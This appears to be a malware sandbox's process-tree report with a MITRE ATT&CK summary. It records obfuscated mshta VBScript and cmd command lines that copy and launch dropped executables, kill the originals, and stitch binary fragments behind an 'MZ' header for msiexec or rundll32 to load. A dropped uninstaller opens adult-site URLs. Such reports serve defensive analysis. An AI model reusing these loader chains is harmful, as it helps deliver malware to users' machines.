C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2220 -ip 22201⤵PID:6716
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 6140 -ip 61401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1624 -ip 16241⤵PID:6672
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 6124 -ip 61241⤵PID:660
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )1⤵PID:4680
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"2⤵PID:4516
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5932
-
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi3⤵PID:7104
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )4⤵PID:1512
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"5⤵PID:7120
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )4⤵PID:6720
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC5⤵PID:4956
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "6⤵PID:6988
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"6⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:7060
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC6⤵
- Loads dropped DLL
PID:6796
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"3⤵
- Kills process with taskkill
PID:5388
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "3154250.exe"1⤵
- Kills process with taskkill
PID:456
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i1⤵PID:1052
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))2⤵PID:5708
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"3⤵PID:4392
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )2⤵PID:6232
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *3⤵PID:4244
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "4⤵PID:6496
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"4⤵PID:6500
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K4⤵PID:6904
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K5⤵
- Loads dropped DLL
PID:6396 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K6⤵PID:1492
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K7⤵
- Loads dropped DLL
PID:4712
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-NCL45.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-NCL45.tmp\setup.tmp" /SL5="$20250,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"1⤵
- Loads dropped DLL
PID:3420 -
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT2⤵PID:5824
-
C:\Users\Admin\AppData\Local\Temp\is-B6JQH.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-B6JQH.tmp\setup.tmp" /SL5="$5031E,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT3⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:1532 -
C:\Users\Admin\AppData\Local\Temp\is-JOKT5.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-JOKT5.tmp\postback.exe" ss14⤵PID:3180
-
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart4⤵PID:5300
-
C:\ea9ba2b0200bad7a09787a\Setup.exeC:\ea9ba2b0200bad7a09787a\\Setup.exe /q /norestart /x86 /x64 /web5⤵PID:5928
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss14⤵PID:5584
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh5⤵PID:9280
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47186⤵PID:7784
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh5⤵PID:1988
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47186⤵PID:9668
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 6368 -ip 63681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6672
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 5788 -ip 57881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2488
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2608 -ip 26081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6804
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 3776 -ip 37761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6172
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 4040 -ip 40401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6040
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 6004 -ip 60041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 5380 -ip 53801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2264 -ip 22641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6832
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6112 -ip 61121⤵PID:6724
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5548 -ip 55481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4320
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5960 -ip 59601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1524
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 712 -p 7076 -ip 70761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5444
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 772 -p 5852 -ip 58521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6688
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 3472 -ip 34721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3156
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3696 -ip 36961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2200
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:676
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
PID:6304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5564 -ip 55641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3652
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3728 -ip 37281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1516 -ip 15161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6580
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.01⤵PID:1468
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:3344 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 28343EB4AF582D120A388085C654DC9F C2⤵
- Loads dropped DLL
PID:3256
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E7CBDB6D3311F0F5C4F35262E8E49AED2⤵
- Blocklisted process makes network request
PID:10512 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:11676
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2B18D3808AC1ADEC13B99232ADE62742 E Global\MSI00002⤵
- Drops file in Windows directory
PID:12052
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2964 -ip 29641⤵PID:6476
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 6748 -ip 67481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6336
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 4328 -ip 43281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3364
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:5936
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:7532
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7732
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:8508
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 8632 -ip 86321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8808
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:9588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 8632 -ip 86321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:10636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 9560 -ip 95601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:11088
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:11332
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\test.bat"1⤵PID:11996
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 10272 -ip 102721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:11960
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:9852
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4176 -ip 41761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9260
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
2Registry Run Keys / Startup Folder
3Scheduled Task
1Winlogon Helper DLL
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
5Install Root Certificate
1Modify Registry
12Virtualization/Sandbox Evasion
1Web Service
1